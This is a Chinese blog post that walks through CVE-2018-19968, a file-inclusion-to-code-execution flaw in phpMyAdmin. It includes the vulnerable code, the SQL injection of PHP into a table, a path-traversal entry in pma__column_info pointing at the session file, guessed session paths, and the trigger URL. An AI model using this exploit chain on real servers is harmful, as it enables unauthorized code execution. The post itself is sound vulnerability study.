CVE-2018-19968

Posted on 2019-01-17 09:23  Polar1dear  阅读(741)  评论(0)    收藏  举报

PHPMyAdmin 4.0.0~4.8.3 任意文件包含/远程代码执行漏洞

介绍

本地文件包含(CVE-2018-19968) -至少从4.0.0到4.8.3的phpMyAdmin版本就有一个本地文件包含漏洞,可允许远程攻击者通过转换功能从服务器上的本地文件中获取敏感内容,并且可Getshell。

phpMyAdmin各版本下载地址:

https://www.phpmyadmin.net/files/

攻击条件

攻击者必须能够访问phpMyAdmin配置存储表,尽管可以在攻击者访问的任何数据库中轻松创建这些表。但攻击者必须拥有有效的凭据才能登录phpMyAdmin,所以此漏洞不允许攻击者绕过登录系统。

漏洞细节

Transformation是phpMyAdmin中的一个高级功能,通过Transformation可以对每个字段的内容使用不同的转换,每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段 ‘Filename’,正常情况下 phpMyAdmin 只会将路径显示出来。但是通过Transformation我们可以将该字段转换成超链接,我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。

通常情况下Transformation的规则存储在每个数据库的pma__column_info表中,而在phpMyAdmin 4.0.0~4.8.3版本中,由于对转换参数处理不当,导致了任意文件包含漏洞的出现。
在tbl_replace.php文件中

// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
   $filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
   if (is_file($filename)) {
      include_once $filename;
      $classname = Transformations::getClassName($filename);
      /** @var IOTransformationsPlugin $transformation_plugin */
      $transformation_plugin = new $classname();
      $transformation_options = Transformations::getOptions(
         $mime_map[$column_name]['input_transformation_options']
      );
      $current_value = $transformation_plugin->applyTransformation(
         $current_value, $transformation_options
      );
      // check if transformation was successful or not
      // and accordingly set error messages & insert_fail
      if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
         $insert_fail = true;
         $row_skipped = true;
         $insert_errors[] = sprintf(
            __('Row: %1$s, Column: %2$s, Error: %3$s'),
            $rownumber, $column_name,
            $transformation_plugin->getError()
         );
      }
   }
}

拼接到$filenamefilename的变量mime_map[$column_name][‘input_transformation’]来自于数据表pma__column_info中的input_transformation字段,因为数据库中的内容用户可控,从而产生了任意文件包含漏洞。

利用

这里用本地的phpstudy环境来测试,pma的版本为phpMyAdmin-4.5.4.1。

登录后执行sql命令:

CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

再访问

http://127.0.0.1/phpMyAdmin-4.5.4.1/chk_rel.php?fixall_pmadb=1&db=foo

在数据库foo中生成phpMyAdmin的配置表:
有时会报错警告

点Create创建就行

然后将篡改后的Transformation数据插入表pma__column_info中:
将sess_ID中的ID替换成你的会话ID,即COOKIE中phpMyAdmin的值

然后在foo库中执行sql语句:

INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop',
'../../../../../../../../phpstudy/PHPTutorial/tmp/tmp/sess_ID','plop';

sessionID文件常见路径:

在Linux下,常见的文件路径为: /var/lib/php/session/或/tmp/
在Windows下:
默认为c:/windows/temp/
phpstudy集成软件环境下,文件路径为:/phpstudy/PHPTutorial/tmp/tmp/
Wamp集成软件环境下,文件路径为:/wamp64/tmp/
因为环境搭建方式的不同,session文件的路径也会不同(通过修改php.ini中的session.save_path值可以改变session的保存路径),并且对于攻击者session文件的绝对路径也是不能直接获取到的,只能靠常见路径或猜路径去利用。

可以看到在pma的pma__column_info里已经写入了数据

再访问

http://127.0.0.1/phpMyAdmin-4.5.4.1/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1&token=66ee4fd9e462c2b17ed284a6b02a0c4b

会成功执行sessionID文件,包含成功。

经测试发现此漏洞在phpMyAdmin-4.7.0-beta1版本和更高版本执行恶意代码文件,不用在url中加入token,否则可能包含不成功。